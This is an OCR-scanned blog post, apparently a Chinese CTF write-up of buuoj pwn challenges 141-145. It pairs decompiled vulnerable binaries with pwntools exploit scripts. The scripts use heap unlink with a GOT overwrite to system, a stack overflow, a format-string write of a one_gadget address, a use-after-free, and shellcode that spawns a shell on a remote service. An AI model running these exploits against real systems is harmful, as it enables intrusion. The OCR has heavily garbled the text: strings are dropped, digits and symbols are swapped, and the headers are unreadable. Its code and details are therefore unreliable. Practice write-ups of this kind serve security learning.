buuoj Pwn writeup 141-145

yongbaoii F 2021-05-28 11:07:21 KA 57 Wi

SrRLR: CTE WHEIRS: 24

FEALFE B RSO R A&, #E5.CC 4.0 BY-SA RN, #5480 I b5 AL BERR A B 1
A CHERZ:  https://blog.csdn.net/yongbaoii/article/details/115016130

FRAL

CTF LR GEHIZ N 28
213 W& 71T 14
VB E A

141 jarvisoj_level6 x64

TR

o
e2y

HE

qword_6820A8 = (__inte4)malloc(@xl8leulLl);

*(_QWORD *)qword_6020A8 = 256LL;

result = (_QWORD *)qword_6020A8;

*(_QWORD *)(qword_6020A8 + 8) = OLL;

for (1 =0; 1 <= 255; ++1 )

{
*(_QWORD *)(gqword_6©20A8 + 24LL * i + 16) eLL;
*(_QWORD *)(gqword_6©20A8 + 24LL * i + 24) eLL;
result = (_QWORD *)(qword_6©20A8 + 24LL * i + 32);
*result = @LL:;

}

return result;
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if ( *(_QWORD *)(big_chunk + 8) < *(_QWORD

*IYbig_chunk )

{
for (1 =03 3 ++1 )
{
ve = *( QWORD *)big chunk;
if (1 >= *(_QWORD *)big_chunk )
break;
if ( !*(_QWORD *)(big_chunk + 24LL * i
{
printf("Length of new note: ");
v3 = getinput();
if (v3 >8)
{
if ( v3 > 4096 )
v3 = 40896;
v4 = malloc((128 - v3 % 128) % 128
printf("Enter your note: ");
sub_40e85D(v4, (unsigned int)v3);
*(_QWORD *)(big_chunk + 24LL * i +
*(_QWORD *)(big_chunk + 24LL * i +
*(_QWORD *)(big chunk + 24LL * i +

+ 16) )

+ v3);

16) = 1LL;

24) = v3;

32) = v4;

++!E_QWDRD *5!51g_chunk + 5);
LODWORD(v@) = puts("Done.");
¥

else

{

LODWORD(v@) = puts("Invalid length!");

h

return vo;
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num
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unsigned int 1; // |[rsp+Ch] [rbp-4h]

if ( *(__inte4 *)(big_chunk + 8) <= 8 )
{
LODWORD(v@) = puts("You need to create some new notes first.");

¥

else |

{
for (1 =8; ; ++1 )
{
vl = *(_QWORD *)big_chunk;
if ( (int)i »= *(_QWORD *)big_chunk )
break;
if ( *(_QWORD *)(big_chunk + 24LL * (int)i + 16) == 1LL )
printf("%d. %s\n", i, *(const char **)(big_chunk + 24LL * (int)i + 32));
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edit

__inté4 vi; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Note number: ");
v3 = getinput();
if (v3 <@ || v3 >= *(_QWORD *)big_chunk || *(_QWORD *)(big_chunk + 24LL * v3 + 16) != 1LL )
return puts("Invalid number!");
printf("Length of note: ");
v2 = getinput();
if (v2<=8)
return puts("Invalid length!");
if ((v2 > 4896 )
v2 = 4096;
if ( v2 != *(_QWORD *)(big_chunk + 24LL * v3 + 24) )
{
vl = big_chunk;
*(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(big_chunk + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
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}

printf("Enter your note: ");

sub_48e85D(*(_QWORD *)(big_chunk + 24LL * v3 + 32), v2);
return puts(“Done."):
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free

if ( *(__inte4a *)(big_chunk + 8) <= © )
return puts("No notes yet.");
printf("Note number: ");
vl = getinput();
if (vl <@ || vi >= *(_QWORD *)big_chunk )
return puts("Invalid number!");
--*(_QWORD *)(big_chunk + 8);
*(_QWORD *)(big_chunk + 24LL * v1 + 16) = @LL;
*(_QWORD *)(big_chunk + 24LL * v1 + 24) = @LL;
free(*(void **)(big_chunk + 24LL * vl + 32));
return puts(“Done.");
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from pwn import
context.log level

r process(
1ibc = ELF(

)
elf = ELF( )

free_got = elf.got|

def add(size,content):
r.sendlineafter(
r.sendlineafter(




r.sendafter(

def free(index):
r.sendlineafter(
r.sendlineafter(

def show():
r.sendlineafter(

def edit(index,size,content):
.sendlineafter(
.sendlineafter(
.sendlineafter(
.sendafter(

add (0x80,0x80
add (0x80, 0x80
add (0x80,0x80

0x90
(payload),payload)

r.recvuntil (0x90 )
heap 0 ub4(r.recvuntil(

heap_4 heap_© 0x1a40

fd 0x18

heap_© ox10
p64(9) p64(0x80)
p64(fd) p64(bk)
payload.ljust(0x80,
p64(0x80)
(payload),payload)

heap_©

p64(2) + p64(1)
p64(0) * 9
payload.ljust(0x90,
(payload),payload)

ub4(p.recvuntil(

libc_base = free - libc.sym|[

system libc_base

print (libc_base)

p64(0x8)
p64(1)

,content)

)
(index))

)
(index))
»str(size))
,content)

p64(0x90)

p64(free_got)
p64(8) p64(heap_4)

)

)[-6:].1just(8,
]

libc.sym[




p64(system)

(payload),payload)

r.interactive()
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int __cdecl main(int argc, const char **argv, const char **envp)

{
char buf[32]; // [rsp+eh] [rbp-206h] BYREF

setvbuf(stdin, eLL, 2, ©LL);
setvbuf(_bss_start, ©LL, 2, ©LL);

puts(" _ _  _ ")
puts("/ 11 | I/ I _I 1"
puts("\\__ \\| | | | | | |1 ")
puts(" _) [ I I— 11T I "™
puts ("] / \\__/ \\ [ I ");
puts (" ");
puts(:"============================") 3

return read(@, buf, ©x3@uLL);

B H 3
systemuliAT. BT Rubuntu18, A /MEXFES

from pwn import
r remote( ,28430)

leave_ret 0x400732

pop_rdi_ret 0x4007a3

ret_addr 0x0400677

payload (0x20 + 8) p64(ret_addr)

r.send(payload)

r.interactive()
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while ( 1)
{
read(e, bLI'F, ex64ulLl);
if ( !strcmp(buf, "66666666") )
break:;
printf(buf, "66666666");
¥
return 9;
|
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from pwn import

context.log level

remote(

(r.recvuntil( )[:-2],16)
(r.recvuntil( )[:-2],16)
addri 0x79a
(r.recvuntil( )[:-3],16)
addr2 - libc.symbols|

stack_addr - 0xde
stack_addr
stack_addr + 0x31b

ret_addr stack_addr - Oxe@
one_gadget libc_base 0x10a38c

print (one_gadget)

print (ret_addr))

off ret_addr oxffff

(off)
)
one_gadget oxffff
(off1)
.sendline( (offl)
.recvuntil( )

.sendline( (off 2)
r.recvuntil( )
off2 (one_gadget 16) oxffff
print (off2)
r.sendline( (off2)
r.recvuntil( )

r.sendline(

r.interactive()
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vl = _ readfsgword(@x28u);

puts ( "==============================") 3
puts(" This is a heap exploit demo ");
puts ( "==============================") 3

puts("1l. Create something
puts("2. Delete something
puts("3. Print something
puts("4. Exit "

printf("Now the time is ");
system("date");
printf("Your choice: ");
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add

dilv L, J/ [I'2pTOI] LI'UpTo0I11)
int v3; // [rsp+Ch] [rbp-34h]

char buf[24]; // [rsp+1@h] [rbp-38h] BYREF
unsigned __inté4 v5; // [rsp+28h] [rbp-18h]

v5 = _ readfsgqword(@x28u);
if ( num <= 5 )
{
for (1 =0; 1 <=4; ++1 )
{
if ( !*(&ptr + 1) )
{
*(&ptr + 1) = malloc(©xl1@ulLl);
_QW * ptr + 1) + = pprintf;
puts €ase 1nput size. 5

read(®, buf, 8uLL);

v3 = atoi(buf);

ve = (void **)*(&ptr + 1);
*vo = malloc(v3);

“puts( Please 1nput content: ");
read(@, *(void **)*(&ptr + i), v3);
++num;
return __readfsgword(@&x28u) ~ v5;
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ptr

con

RRP

delete

LT ( VL >= v && VLI < num )

if ( *(&ptr + v1) )
{
free(*(void **)*(&ptr + v1));
free(*(&ptr + v1));
¥
s

2lse

v3 = __readfsqword(@x28u);
puts(“Please input list index: ");
read(®, buf, 4uLL);
vl = atoi(buf);
if (vl >= @ && v1 < num )
{

if ( *(&ptr + v1) )

(*((void (__fastcall **)(_QWORD))*(&ptr + v1) + 1))(*(_QWORD *)*(&ptr + v1));

}

else

{
puts("Out of bound!");

} -

return __readfsqword(@x28u) ~ v3;
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from pwn import

context(log level

r remote (
elf = ELF(

def create(size,payload):
r.sendlineafter(
r.sendlineafter( 5 (size))

r.sendafter( ,payload)

def delete(index):
r.sendlineafter(

r.sendlineafter( (index))

def print_this(index):
r.sendlineafter(
r.sendlineafter( (index))

create(0x10,p64(0x602010) p64(elf.symbols|
print_this(0)

r.interactive()
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int __cdecl main(int argc, const char **

{
void *buf; // [esp+8h] [ebp-16h]

buf = mmap(@, @x4eeu, 7, 34, @, 0);
alarm(©xAu);
setvbuf(stdout, @, 2, 9);
setvbuf(_bss_start, @, 2, 0);
puts("Send me stuffl!");
if ( read(e, buf, ex4eeu) < @ )
{
puts("Error reading!");
exit(1);
}
((void (*)(void))buf)();
return @;
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from pwn import

r remote( ,28830)

asm(shellcraft.sh())
r.recvuntil( )
r.sendline(shellcode)

r.interactive()
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